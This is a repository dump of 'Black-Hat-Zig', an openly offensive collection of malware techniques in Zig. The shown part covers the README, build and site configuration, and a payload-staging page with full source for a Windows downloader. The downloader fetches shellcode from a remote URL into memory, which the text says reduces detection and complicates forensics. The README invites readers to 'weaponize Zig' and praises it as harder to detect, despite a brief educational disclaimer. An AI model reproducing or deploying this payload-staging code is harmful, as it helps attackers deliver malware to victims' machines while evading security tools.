CX330Blake/Black-Hat-Zig/main 135k tokens More Tools
```
├── .github/
   ├── workflows/
      ├── test_build.yml (100 tokens)
├── .gitignore
├── Black-Hat-Zig.png
├── LICENSE (omitted)
├── README.md (600 tokens)
├── build_all.sh (100 tokens)
├── mkdocs.yml (500 tokens)
├── src/
   ├── .nav.yml (100 tokens)
   ├── CNAME
   ├── Malware-Techniques/
      ├── Payload-Staging/
         ├── web_server.md (1400 tokens)
         ├── web_server/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── payload/
               ├── calc.bin
            ├── src/
               ├── main.zig (1300 tokens)
         ├── windows_registry.md (2.5k tokens)
         ├── windows_registry/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (2.3k tokens)
      ├── Process-Enumeration/
         ├── create_tool_help_32_snapshot.md (1300 tokens)
         ├── create_tool_help_32_snapshot/
            ├── build.zig (700 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (1200 tokens)
         ├── enum_processes.md (1700 tokens)
         ├── enum_processes/
            ├── build.zig (1100 tokens)
            ├── build.zig.zon (800 tokens)
            ├── src/
               ├── main.zig (1500 tokens)
               ├── root.zig (100 tokens)
         ├── nt_query_system_information.md (6.2k tokens)
         ├── nt_query_system_information/
            ├── build.zig (700 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (1500 tokens)
               ├── windows_structs.zig (4.5k tokens)
      ├── Process-Injection/
         ├── dll_injection.md (2.1k tokens)
         ├── dll_injection/
            ├── build.zig (500 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (1900 tokens)
               ├── root.zig (300 tokens)
         ├── shellcode_injection.md (2.2k tokens)
         ├── shellcode_injection/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (2k tokens)
      ├── Thread-Hijacking/
         ├── local_thread_creation.md (2.3k tokens)
         ├── local_thread_creation/
            ├── build.zig (700 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (2.2k tokens)
         ├── local_thread_enumeration.md (2.5k tokens)
         ├── local_thread_enumeration/
            ├── build.zig (700 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (2.3k tokens)
         ├── remote_thread_creation.md (2.6k tokens)
         ├── remote_thread_creation/
            ├── build.zig (700 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (2.5k tokens)
   ├── Payload-Encryption/
      ├── AES.md (6.7k tokens)
      ├── AES/
         ├── bcrypt_aes/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (3.4k tokens)
         ├── std_aes/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (1700 tokens)
         ├── tiny_aes/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── aes.c (3.7k tokens)
               ├── aes.h (600 tokens)
               ├── main.zig (1300 tokens)
      ├── RC4.md (1200 tokens)
      ├── RC4/
         ├── system_function_032_rc4/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (600 tokens)
         ├── system_function_033_rc4/
            ├── build.zig (700 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (600 tokens)
      ├── XOR.md (500 tokens)
      ├── XOR/
         ├── std_lib_xor/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (400 tokens)
   ├── Payload-Execution/
      ├── dll.md (1100 tokens)
      ├── dll/
         ├── build.zig (300 tokens)
         ├── build.zig.zon (900 tokens)
         ├── src/
            ├── main.zig (600 tokens)
            ├── root.zig (300 tokens)
      ├── shellcode.md (1900 tokens)
      ├── shellcode/
         ├── build.zig (200 tokens)
         ├── build.zig.zon (900 tokens)
         ├── src/
            ├── main.zig (1700 tokens)
   ├── Payload-Obfuscation/
      ├── IP-Address-Obfuscation.md (3.2k tokens)
      ├── IP-Address-Obfuscation/
         ├── ipv4_deobfuscation/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (700 tokens)
         ├── ipv4_obfuscation/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (600 tokens)
         ├── ipv6_deobfuscation/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (700 tokens)
         ├── ipv6_obfuscation/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (700 tokens)
      ├── MAC-Address-Obfuscation.md (1500 tokens)
      ├── MAC-Address-Obfuscation/
         ├── mac_deobfuscation/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (800 tokens)
         ├── mac_obfuscation/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (600 tokens)
      ├── UUID-Obfuscation.md (1500 tokens)
      ├── UUID-Obfuscation/
         ├── uuid_deobfuscation/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (800 tokens)
         ├── uuid_obfuscation/
            ├── build.zig (200 tokens)
            ├── build.zig.zon (900 tokens)
            ├── src/
               ├── main.zig (600 tokens)
   ├── Payload-Placement/
      ├── dot_data.md (900 tokens)
      ├── dot_data_section/
         ├── build.zig (200 tokens)
         ├── build.zig.zon (700 tokens)
         ├── src/
            ├── main.zig (500 tokens)
      ├── dot_rdata.md (700 tokens)
      ├── dot_rdata_section/
         ├── build.zig (200 tokens)
         ├── build.zig.zon (700 tokens)
         ├── src/
            ├── main.zig (500 tokens)
      ├── dot_rsrc.md (100 tokens)
      ├── dot_rsrc_section/
         ├── build.zig (200 tokens)
         ├── build.zig.zon (900 tokens)
         ├── resource.rc
         ├── src/
            ├── calc.ico
            ├── main.zig (500 tokens)
      ├── dot_text.md (700 tokens)
      ├── dot_text_section/
         ├── build.zig (200 tokens)
         ├── build.zig.zon (900 tokens)
         ├── src/
            ├── main.zig (500 tokens)
   ├── Reverse-Shell/
      ├── std_reverse_shell.md (700 tokens)
      ├── std_reverse_shell/
         ├── build.zig (200 tokens)
         ├── build.zig.zon (700 tokens)
         ├── src/
            ├── main.zig (600 tokens)
      ├── std_reverse_shell_with_tls.md (1300 tokens)
      ├── std_reverse_shell_with_tls/
         ├── build.zig (700 tokens)
         ├── build.zig.zon (900 tokens)
         ├── listener.py (300 tokens)
         ├── src/
            ├── main.zig (700 tokens)
   ├── assets/
      ├── Black-Hat-Zig.png
      ├── favicon.png
      ├── favicon.svg (200 tokens)
      ├── zig.svg (100 tokens)
   ├── epilogue.md
   ├── index.md (500 tokens)
   ├── prologue.md (300 tokens)
   ├── stylesheets/
      ├── extra.css
```


## /.github/workflows/test_build.yml

```yml path="/.github/workflows/test_build.yml" 
name: Compilation Test

on:
    push:
        branches: [main]
    pull_request:

jobs:
    compilation_test:
        runs-on: ubuntu-latest
        steps:
            - uses: actions/checkout@v3
            - name: Install Zig
              uses: mlugg/setup-zig@v2
              with:
                  version: 0.14.0
            - name: Build all projects
              run: ./build_all.sh

```

## /.gitignore

```gitignore path="/.gitignore" 
**/.zig-cache/
**/zig-out/
**/.DS_Store
.cache/
site/

```

## /Black-Hat-Zig.png

Binary file available at https://raw.githubusercontent.com/CX330Blake/Black-Hat-Zig/refs/heads/main/Black-Hat-Zig.png

## /README.md

# Black-Hat-Zig

<p align="center">
  <img alt="GitHub License" src="https://img.shields.io/github/license/CX330Blake/black-hat-zig">
  <img alt="GitHub top language" src="https://img.shields.io/github/languages/top/cx330blake/black-hat-zig">
  <img alt="GitHub repo size" src="https://img.shields.io/github/repo-size/cx330blake/black-hat-zig">
  <img alt="X (formerly Twitter) Follow" src="https://img.shields.io/twitter/follow/CX330Blake">
</p>

<p align="center">
  <a href="#intro">Intro</a> •
  <a href="#why-zig">Why Zig?</a> •
  <a href="#usage">Usage</a> •
  <a href="#contributors">Contributors</a> •
  <a href="#credits--references">Credits & References</a> •
  <a href="#star-history">Star History</a> •
  <a href="#disclaimer">Disclaimer</a>
</p>

<p height="350px" align="center">
  <img src="./Black-Hat-Zig.png">
  <br/>
  <b>Hello hackers. Hello maldevs. Hello reversers. Nice to see you here to explore the dark power of Zig!</b><br/><br/>
  <b>Maintained and managed by <a href="https://github.com/cx330blake">@CX330Blake</a></b>
</p>

---

## Intro

> [!IMPORTANT]
> This project is continuously updating!

This project provides many malware techniques implementation using Zig since I'm a huge fan of it. You can use this repo to weaponize Zig. Black-Hat-Zig is continuously updating to make sure it contains as more content as it could. It will be perfect if you want to create a PR for this project.

Okay, let's hack the planet!

## Why Zig?

- 🤝 Easy to interact with C/C++ source
- 🔎 It's newer, so it's harder to be detect
- 💪 Strongly low level control, even lower than C
- 😱 It's harder to RE because of the modern compiler
- 🛡️ Minimal runtime dependencies - No massive standard library footprint
- 🎯 No undefined behavior - Explicit handling of edge cases prevents crashes

## Usage

- [Quick Start](https://black-hat-zig.cx330.tw)

## Contributors

This project is mainly maintained & managed by [@CX330Blake](https://github.com/CX330Blake). PRs are welcomed. Hope there's more people use Zig for malware developing so the ecosystem will be more mature.

Huge thanks for these contributors!

<a href="https://github.com/CX330Blake/black-hat-zig/graphs/contributors">
  <img src="https://contrib.rocks/image?repo=CX330Blake/black-hat-zig" />
</a>

## Credits & References

- [Maldev Academy](https://maldevacademy.com/)
- [OffensiveNim](https://github.com/byt3bl33d3r/OffensiveNim)

## Star History

[![Star History Chart](https://api.star-history.com/svg?repos=CX330blake/black-hat-zig&type=Date)](https://www.star-history.com/#CX330blake/black-hat-zig&Date)

## Disclaimer

This project is for ethical and educational purpose only. Don't be a cyber criminal.

<!-- GitAds-Verify: SYUFFUKR39H8T8MYYOIUKQ5AFB1O8AQ9 -->

## GitAds Sponsored

<p align="center">
  This project is <strong>sponsored by <a href="https://docs.gitads.dev/docs/getting-started/publishers">GitAds</a></strong>.<br>
  You can get your GitHub repository sponsored too — <a href="https://docs.gitads.dev/docs/getting-started/publishers">create your account now</a>.
</p>

[![Sponsored by GitAds](https://gitads.dev/v1/ad-serve?source=cx330blake/black-hat-zig@github)](https://gitads.dev/v1/ad-track?source=cx330blake/black-hat-zig@github)


## /build_all.sh

```sh path="/build_all.sh" 
#!/usr/bin/env bash
set -e

ROOT_DIR="$(dirname "$(realpath "$0")")/src"
cd "$ROOT_DIR"

failed=0

for build_file in $(find . -type f -name build.zig); do
    dir=$(dirname "$build_file")
    echo "Building $dir"
    (cd "$dir" && zig build) || failed=1
    echo
done

exit $failed

```

## /mkdocs.yml

```yml path="/mkdocs.yml" 
site_name: Black-Hat-Zig
site_url: https://black-hat-zig.cx330.tw
repo_url: https://github.com/cx330blake/black-hat-zig
repo_name: CX330Blake/Black-Hat-Zig
theme:
    name: material
    favicon: assets/favicon.svg
    logo: assets/zig.svg
    icon:
        repo: fontawesome/brands/github
    features:
        - content.code.copy
        - content.code.annotation
        - search.share
        - search.highlight
        - search.suggest
        - content.code.select
        - navigation.path
        - navigation.footer
        - navigation.top
        - navigation.instant
        - navigation.instant.progress
        - navigation.tabs
        - navigation.tracking
        - navigation.instant
        - navigation.instant.prefetch
    palette:
        - media: "(prefers-color-scheme: light)"
          scheme: default
          primary: orange
          accent: deep orange
          toggle:
              icon: material/brightness-7
              name: Switch to dark mode

        - media: "(prefers-color-scheme: dark)"
          scheme: slate
          primary: orange
          accent: deep orange
          toggle:
              icon: material/brightness-4
              name: Switch to light mode

docs_dir: "src"
plugins:
    - search
    - awesome-nav
    - social
    - privacy:
          links_attr_map:
              target: _blank

markdown_extensions:
    - pymdownx.highlight:
          anchor_linenums: true
          line_spans: __span
          pygments_lang_class: true
    - pymdownx.inlinehilite
    - pymdownx.snippets
    - pymdownx.superfences
    - def_list
    - pymdownx.tasklist:
          custom_checkbox: true
    - mdx_truly_sane_lists
    - pymdownx.superfences:
          custom_fences:
              - name: mermaid
                class: mermaid
                format: !!python/name:pymdownx.superfences.fence_code_format

extra_css:
    - stylesheets/extra.css

extra:
    consent:
        title: Cookie consent
        description: >-
            We use cookies to recognize your repeated visits and preferences, as well
            as to measure the effectiveness of our documentation and whether users
            find what they're searching for. With your consent, you're helping us to
            make our documentation better.
    analytics:
        provider: google
        property: G-CYTPQ2676T

```

## /src/.nav.yml

```yml path="/src/.nav.yml" 
nav:
    - Get Started:
          - ./index.md
          - ./prologue.md
    - Payload Management:
          - Payload Placement:
                - ./Payload-Placement/dot_data.md
                - ./Payload-Placement/dot_rdata.md
                - ./Payload-Placement/dot_text.md
                - ./Payload-Placement/dot_rsrc.md
          - ./Payload-Obfuscation/
          - Payload Encryption:
                - ./Payload-Encryption/XOR.md
                - ./Payload-Encryption/RC4.md
                - ./Payload-Encryption/AES.md
          - ./Payload-Execution/
    - Malware Techniques:
          - ./Malware-Techniques/*
    - Malware Examples:
          - ./Reverse-Shell/
    - Epilogue: ./epilogue.md

```

## /src/CNAME

``` path="/src/CNAME" 
black-hat-zig.cx330.tw

```

## /src/Malware-Techniques/Payload-Staging/web_server.md

# Using Web Server

## TL;DR

[See the code example](https://github.com/CX330Blake/Black-Hat-Zig/tree/main/src/Malware-Techniques/Payload-Staging/web_server)

Payload staging via web server downloads the malicious code from a remote
location when the program executes. By keeping the payload off disk until it is
needed, this method reduces the signature of the binary and allows attackers to
deliver updated payloads on demand. The example sets up an HTTP request to a
specified URL, retrieves the binary data, and then executes the downloaded
shellcode directly in memory. Staging payloads remotely also facilitates command
and control style operations and can complicate forensic analysis.

## Code Walkthrough

```zig title="main.zig"
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;

// Python -m http.server 8000
// Have calc.bin in the directory
// Change this URL if you need
const PAYLOAD: [*:0]const u16 = std.unicode.utf8ToUtf16LeStringLiteral("http://127.0.0.1:8000/calc.bin");

// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const LPVOID = *anyopaque;
const LPCWSTR = [*:0]const u16;
const SIZE_T = usize;
const PBYTE = [*]u8;

// WinInet types
const HINTERNET = *anyopaque;

// WinInet constants
const INTERNET_FLAG_HYPERLINK = 0x00000400;
const INTERNET_FLAG_IGNORE_CERT_DATE_INVALID = 0x00002000;
const INTERNET_OPTION_SETTINGS_CHANGED = 39;
const LPTR = 0x0040;
const LMEM_MOVEABLE = 0x0002;
const LMEM_ZEROINIT = 0x0040;

// Windows API function declarations
extern "kernel32" fn GetLastError() callconv(.C) DWORD;
extern "kernel32" fn LocalAlloc(uFlags: DWORD, uBytes: SIZE_T) callconv(.C) ?LPVOID;
extern "kernel32" fn LocalReAlloc(hMem: LPVOID, uBytes: SIZE_T, uFlags: DWORD) callconv(.C) ?LPVOID;
extern "kernel32" fn LocalFree(hMem: LPVOID) callconv(.C) LPVOID;

// WinInet API function declarations
extern "wininet" fn InternetOpenW(lpszAgent: LPCWSTR, dwAccessType: DWORD, lpszProxy: ?LPCWSTR, lpszProxyBypass: ?LPCWSTR, dwFlags: DWORD) callconv(.C) ?HINTERNET;

extern "wininet" fn InternetOpenUrlW(hInternet: HINTERNET, lpszUrl: LPCWSTR, lpszHeaders: ?LPCWSTR, dwHeadersLength: DWORD, dwFlags: DWORD, dwContext: usize) callconv(.C) ?HINTERNET;

extern "wininet" fn InternetReadFile(hFile: HINTERNET, lpBuffer: LPVOID, dwNumberOfBytesToRead: DWORD, lpdwNumberOfBytesRead: *DWORD) callconv(.C) BOOL;

extern "wininet" fn InternetCloseHandle(hInternet: HINTERNET) callconv(.C) BOOL;

extern "wininet" fn InternetSetOptionW(hInternet: ?HINTERNET, dwOption: DWORD, lpBuffer: ?LPVOID, dwBufferLength: DWORD) callconv(.C) BOOL;

// Get a file's payload from a url (http or https)
// Return a base address of a heap allocated buffer, thats the payload
// Return the payload's size
fn getPayloadFromUrl(sz_url: LPCWSTR, p_payload_bytes: *?PBYTE, s_payload_size: *SIZE_T) BOOL {
    var h_internet: ?HINTERNET = null;
    var h_internet_file: ?HINTERNET = null;
    var p_tmp_bytes: ?LPVOID = null;
    var p_bytes: ?LPVOID = null;

    // Use defer to ensure cleanup happens regardless of how function exits
    defer {
        if (h_internet) |internet| {
            _ = InternetCloseHandle(internet);
            _ = InternetSetOptionW(null, INTERNET_OPTION_SETTINGS_CHANGED, null, 0);
        }
        if (h_internet_file) |file| {
            _ = InternetCloseHandle(file);
        }
        if (p_tmp_bytes) |tmp| {
            _ = LocalFree(tmp);
        }
    }

    var dw_bytes_read: DWORD = 0;
    var s_size: SIZE_T = 0; // Used as the total payload size

    // Opening the internet session handle, all arguments are NULL here since no proxy options are required
    h_internet = InternetOpenW(std.unicode.utf8ToUtf16LeStringLiteral("Black-Hat-Zig"), 0, // NULL
        null, null, 0 // NULL
    );

    if (h_internet == null) {
        print("[!] InternetOpenW Failed With Error : {d} \n", .{GetLastError()});
        return 0; // FALSE
    }

    // Opening the handle to the payload using the payload's URL
    h_internet_file = InternetOpenUrlW(h_internet.?, sz_url, null, 0, // NULL
        INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0 // NULL
    );

    if (h_internet_file == null) {
        print("[!] InternetOpenUrlW Failed With Error : {d} \n", .{GetLastError()});
        return 0; // FALSE
    }

    // Allocating 1024 bytes to the temp buffer
    p_tmp_bytes = LocalAlloc(LPTR, 1024);
    if (p_tmp_bytes == null) {
        return 0; // FALSE
    }

    while (true) {
        // Reading 1024 bytes to the tmp buffer. The function will read less bytes in case the file is less than 1024 bytes.
        if (InternetReadFile(h_internet_file.?, p_tmp_bytes.?, 1024, &dw_bytes_read) == 0) {
            print("[!] InternetReadFile Failed With Error : {d} \n", .{GetLastError()});
            if (p_bytes) |bytes| {
                _ = LocalFree(bytes);
            }
            return 0; // FALSE
        }

        // Calculating the total size of the total buffer
        s_size += dw_bytes_read;

        // In case the total buffer is not allocated yet
        // then allocate it equal to the size of the bytes read since it may be less than 1024 bytes
        if (p_bytes == null) {
            p_bytes = LocalAlloc(LPTR, dw_bytes_read);
        } else {
            // Otherwise, reallocate the pBytes to equal to the total size, sSize.
            // This is required in order to fit the whole payload
            p_bytes = LocalReAlloc(p_bytes.?, s_size, LMEM_MOVEABLE | LMEM_ZEROINIT);
        }

        if (p_bytes == null) {
            return 0; // FALSE
        }

        // Append the temp buffer to the end of the total buffer
        const dest_ptr = @as([*]u8, @ptrCast(p_bytes.?)) + (s_size - dw_bytes_read);
        @memcpy(dest_ptr[0..dw_bytes_read], @as([*]u8, @ptrCast(p_tmp_bytes.?))[0..dw_bytes_read]);

        // Clean up the temp buffer
        @memset(@as([*]u8, @ptrCast(p_tmp_bytes.?))[0..dw_bytes_read], 0);

        // If less than 1024 bytes were read it means the end of the file was reached
        // Therefore exit the loop
        if (dw_bytes_read < 1024) {
            break;
        }

        // Otherwise, read the next 1024 bytes
    }

    // Saving
    p_payload_bytes.* = @ptrCast(p_bytes.?);
    s_payload_size.* = s_size;

    return 1; // TRUE
}

pub fn main() !void {
    var size: SIZE_T = 0;
    var bytes: ?PBYTE = null;

    // Reading the payload
    if (getPayloadFromUrl(PAYLOAD, &bytes, &size) == 0) {
        std.process.exit(1);
    }

    // Ensure we free the memory when done
    defer if (bytes) |b| {
        _ = LocalFree(b);
    };

    print("[i] Bytes : 0x{X} \n", .{@intFromPtr(bytes.?)});
    print("[i] Size  : {d} \n", .{size});

    // Printing it
    const payload_bytes = @as([*]u8, @ptrCast(bytes.?))[0..size];
    for (payload_bytes, 0..) |byte, i| {
        if (i % 16 == 0) {
            print("\n\t", .{});
        }
        print("{X:0>2} ", .{byte});
    }
    print("\n\n", .{});

    print("[#] Press <Enter> To Quit ... ", .{});
    var buffer: [256]u8 = undefined;
    _ = std.io.getStdIn().reader().readUntilDelimiterOrEof(buffer[0..], '\n') catch {};
}
```


## /src/Malware-Techniques/Payload-Staging/web_server/build.zig

```zig path="/src/Malware-Techniques/Payload-Staging/web_server/build.zig" 
const std = @import("std");

pub fn build(b: *std.Build) void {
        const target = b.standardTargetOptions(.{ .default_target = .{ .cpu_arch = .x86_64, .os_tag = .windows } });
        const optimize = b.standardOptimizeOption(.{});

    const exe = b.addExecutable(.{
        .name = "web_server",
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });
    b.installArtifact(exe);

    const run_cmd = b.addRunArtifact(exe);
    run_cmd.step.dependOn(b.getInstallStep());
    if (b.args) |args| {
        run_cmd.addArgs(args);
    }
    const run_step = b.step("run", "Run the app");
    run_step.dependOn(&run_cmd.step);

    const exe_tests = b.addTest(.{
        .root_source_file = b.path("src/main.zig"),
        .target = target,
        .optimize = optimize,
    });
    const run_exe_tests = b.addRunArtifact(exe_tests);
    const test_step = b.step("test", "Run unit tests");
    test_step.dependOn(&run_exe_tests.step);
}

```

## /src/Malware-Techniques/Payload-Staging/web_server/build.zig.zon

```zon path="/src/Malware-Techniques/Payload-Staging/web_server/build.zig.zon" 
.{
    // This is the default name used by packages depending on this one. For
    // example, when a user runs `zig fetch --save <url>`, this field is used
    // as the key in the `dependencies` table. Although the user can choose a
    // different name, most users will stick with this provided value.
    //
    // It is redundant to include "zig" in this name because it is already
    // within the Zig package namespace.
    .name = .web_server,

    // This is a [Semantic Version](https://semver.org/).
    // In a future version of Zig it will be used for package deduplication.
    .version = "0.0.0",

    // Together with name, this represents a globally unique package
    // identifier. This field is generated by the Zig toolchain when the
    // package is first created, and then *never changes*. This allows
    // unambiguous detection of one package being an updated version of
    // another.
    //
    // When forking a Zig project, this id should be regenerated (delete the
    // field and run `zig build`) if the upstream project is still maintained.
    // Otherwise, the fork is *hostile*, attempting to take control over the
    // original project's identity. Thus it is recommended to leave the comment
    // on the following line intact, so that it shows up in code reviews that
    // modify the field.
    .fingerprint = 0x4d1778b19ea87f36, // Changing this has security and trust implications.

    // Tracks the earliest Zig version that the package considers to be a
    // supported use case.
    .minimum_zig_version = "0.14.0",

    // This field is optional.
    // Each dependency must either provide a `url` and `hash`, or a `path`.
    // `zig build --fetch` can be used to fetch all dependencies of a package, recursively.
    // Once all dependencies are fetched, `zig build` no longer requires
    // internet connectivity.
    .dependencies = .{
        // See `zig fetch --save <url>` for a command-line interface for adding dependencies.
        //.example = .{
        //    // When updating this field to a new URL, be sure to delete the corresponding
        //    // `hash`, otherwise you are communicating that you expect to find the old hash at
        //    // the new URL. If the contents of a URL change this will result in a hash mismatch
        //    // which will prevent zig from using it.
        //    .url = "https://example.com/foo.tar.gz",
        //
        //    // This is computed from the file contents of the directory of files that is
        //    // obtained after fetching `url` and applying the inclusion rules given by
        //    // `paths`.
        //    //
        //    // This field is the source of truth; packages do not come from a `url`; they
        //    // come from a `hash`. `url` is just one of many possible mirrors for how to
        //    // obtain a package matching this `hash`.
        //    //
        //    // Uses the [multihash](https://multiformats.io/multihash/) format.
        //    .hash = "...",
        //
        //    // When this is provided, the package is found in a directory relative to the
        //    // build root. In this case the package's hash is irrelevant and therefore not
        //    // computed. This field and `url` are mutually exclusive.
        //    .path = "foo",
        //
        //    // When this is set to `true`, a package is declared to be lazily
        //    // fetched. This makes the dependency only get fetched if it is
        //    // actually used.
        //    .lazy = false,
        //},
    },

    // Specifies the set of files and directories that are included in this package.
    // Only files and directories listed here are included in the `hash` that
    // is computed for this package. Only files listed here will remain on disk
    // when using the zig package manager. As a rule of thumb, one should list
    // files required for compilation plus any license(s).
    // Paths are relative to the build root. Use the empty string (`""`) to refer to
    // the build root itself.
    // A directory listed here means that all files within, recursively, are included.
    .paths = .{
        "build.zig",
        "build.zig.zon",
        "src",
        // For example...
        //"LICENSE",
        //"README.md",
    },
}

```

## /src/Malware-Techniques/Payload-Staging/web_server/payload/calc.bin

Binary file available at https://raw.githubusercontent.com/CX330Blake/Black-Hat-Zig/refs/heads/main/src/Malware-Techniques/Payload-Staging/web_server/payload/calc.bin

## /src/Malware-Techniques/Payload-Staging/web_server/src/main.zig

```zig path="/src/Malware-Techniques/Payload-Staging/web_server/src/main.zig" 
const std = @import("std");
const windows = std.os.windows;
const print = std.debug.print;

// Python -m http.server 8000
// Have calc.bin in the directory
// Change this URL if you need
const PAYLOAD: [*:0]const u16 = std.unicode.utf8ToUtf16LeStringLiteral("http://127.0.0.1:8000/calc.bin");

// Windows API types
const HANDLE = windows.HANDLE;
const DWORD = windows.DWORD;
const BOOL = windows.BOOL;
const LPVOID = *anyopaque;
const LPCWSTR = [*:0]const u16;
const SIZE_T = usize;
const PBYTE = [*]u8;

// WinInet types
const HINTERNET = *anyopaque;

// WinInet constants
const INTERNET_FLAG_HYPERLINK = 0x00000400;
const INTERNET_FLAG_IGNORE_CERT_DATE_INVALID = 0x00002000;
const INTERNET_OPTION_SETTINGS_CHANGED = 39;
const LPTR = 0x0040;
const LMEM_MOVEABLE = 0x0002;
const LMEM_ZEROINIT = 0x0040;

// Windows API function declarations
extern "kernel32" fn GetLastError() callconv(.C) DWORD;
extern "kernel32" fn LocalAlloc(uFlags: DWORD, uBytes: SIZE_T) callconv(.C) ?LPVOID;
extern "kernel32" fn LocalReAlloc(hMem: LPVOID, uBytes: SIZE_T, uFlags: DWORD) callconv(.C) ?LPVOID;
extern "kernel32" fn LocalFree(hMem: LPVOID) callconv(.C) LPVOID;

// WinInet API function declarations
extern "wininet" fn InternetOpenW(lpszAgent: LPCWSTR, dwAccessType: DWORD, lpszProxy: ?LPCWSTR, lpszProxyBypass: ?LPCWSTR, dwFlags: DWORD) callconv(.C) ?HINTERNET;

extern "wininet" fn InternetOpenUrlW(hInternet: HINTERNET, lpszUrl: LPCWSTR, lpszHeaders: ?LPCWSTR, dwHeadersLength: DWORD, dwFlags: DWORD, dwContext: usize) callconv(.C) ?HINTERNET;

extern "wininet" fn InternetReadFile(hFile: HINTERNET, lpBuffer: LPVOID, dwNumberOfBytesToRead: DWORD, lpdwNumberOfBytesRead: *DWORD) callconv(.C) BOOL;

extern "wininet" fn InternetCloseHandle(hInternet: HINTERNET) callconv(.C) BOOL;

extern "wininet" fn InternetSetOptionW(hInternet: ?HINTERNET, dwOption: DWORD, lpBuffer: ?LPVOID, dwBufferLength: DWORD) callconv(.C) BOOL;

// Get a file's payload from a url (http or https)
// Return a base address of a heap allocated buffer, thats the payload
// Return the payload's size
fn getPayloadFromUrl(sz_url: LPCWSTR, p_payload_bytes: *?PBYTE, s_payload_size: *SIZE_T) BOOL {
    var h_internet: ?HINTERNET = null;
    var h_internet_file: ?HINTERNET = null;
    var p_tmp_bytes: ?LPVOID = null;
    var p_bytes: ?LPVOID = null;

    // Use defer to ensure cleanup happens regardless of how function exits
    defer {
        if (h_internet) |internet| {
            _ = InternetCloseHandle(internet);
            _ = InternetSetOptionW(null, INTERNET_OPTION_SETTINGS_CHANGED, null, 0);
        }
        if (h_internet_file) |file| {
            _ = InternetCloseHandle(file);
        }
        if (p_tmp_bytes) |tmp| {
            _ = LocalFree(tmp);
        }
    }

    var dw_bytes_read: DWORD = 0;
    var s_size: SIZE_T = 0; // Used as the total payload size

    // Opening the internet session handle, all arguments are NULL here since no proxy options are required
    h_internet = InternetOpenW(std.unicode.utf8ToUtf16LeStringLiteral("Black-Hat-Zig"), 0, // NULL
        null, null, 0 // NULL
    );

    if (h_internet == null) {
        print("[!] InternetOpenW Failed With Error : {d} \n", .{GetLastError()});
        return 0; // FALSE
    }

    // Opening the handle to the payload using the payload's URL
    h_internet_file = InternetOpenUrlW(h_internet.?, sz_url, null, 0, // NULL
        INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0 // NULL
    );

    if (h_internet_file == null) {
        print("[!] InternetOpenUrlW Failed With Error : {d} \n", .{GetLastError()});
        return 0; // FALSE
    }

    // Allocating 1024 bytes to the temp buffer
    p_tmp_bytes = LocalAlloc(LPTR, 1024);
    if (p_tmp_bytes == null) {
        return 0; // FALSE
    }

    while (true) {
        // Reading 1024 bytes to the tmp buffer. The function will read less bytes in case the file is less than 1024 bytes.
        if (InternetReadFile(h_internet_file.?, p_tmp_bytes.?, 1024, &dw_bytes_read) == 0) {
            print("[!] InternetReadFile Failed With Error : {d} \n", .{GetLastError()});
            if (p_bytes) |bytes| {
                _ = LocalFree(bytes);
            }
            return 0; // FALSE
        }

        // Calculating the total size of the total buffer
        s_size += dw_bytes_read;

        // In case the total buffer is not allocated yet
        // then allocate it equal to the size of the bytes read since it may be less than 1024 bytes
        if (p_bytes == null) {
            p_bytes = LocalAlloc(LPTR, dw_bytes_read);
        } else {
            // Otherwise, reallocate the pBytes to equal to the total size, sSize.
            // This is required in order to fit the whole payload
            p_bytes = LocalReAlloc(p_bytes.?, s_size, LMEM_MOVEABLE | LMEM_ZEROINIT);
        }

        if (p_bytes == null) {
            return 0; // FALSE
        }

        // Append the temp buffer to the end of the total buffer
        const dest_ptr = @as([*]u8, @ptrCast(p_bytes.?)) + (s_size - dw_bytes_read);
        @memcpy(dest_ptr[0..dw_bytes_read], @as([*]u8, @ptrCast(p_tmp_bytes.?))[0..dw_bytes_read]);

        // Clean up the temp buffer
        @memset(@as([*]u8, @ptrCast(p_tmp_bytes.?))[0..dw_bytes_read], 0);

        // If less than 1024 bytes were read it means the end of the file was reached
        // Therefore exit the loop
        if (dw_bytes_read < 1024) {
            break;
        }

        // Otherwise, read the next 1024 bytes
    }

    // Saving
    p_payload_bytes.* = @ptrCast(p_bytes.?);
    s_payload_size.* = s_size;

    return 1; // TRUE
}

pub fn main() !void {
    var size: SIZE_T = 0;
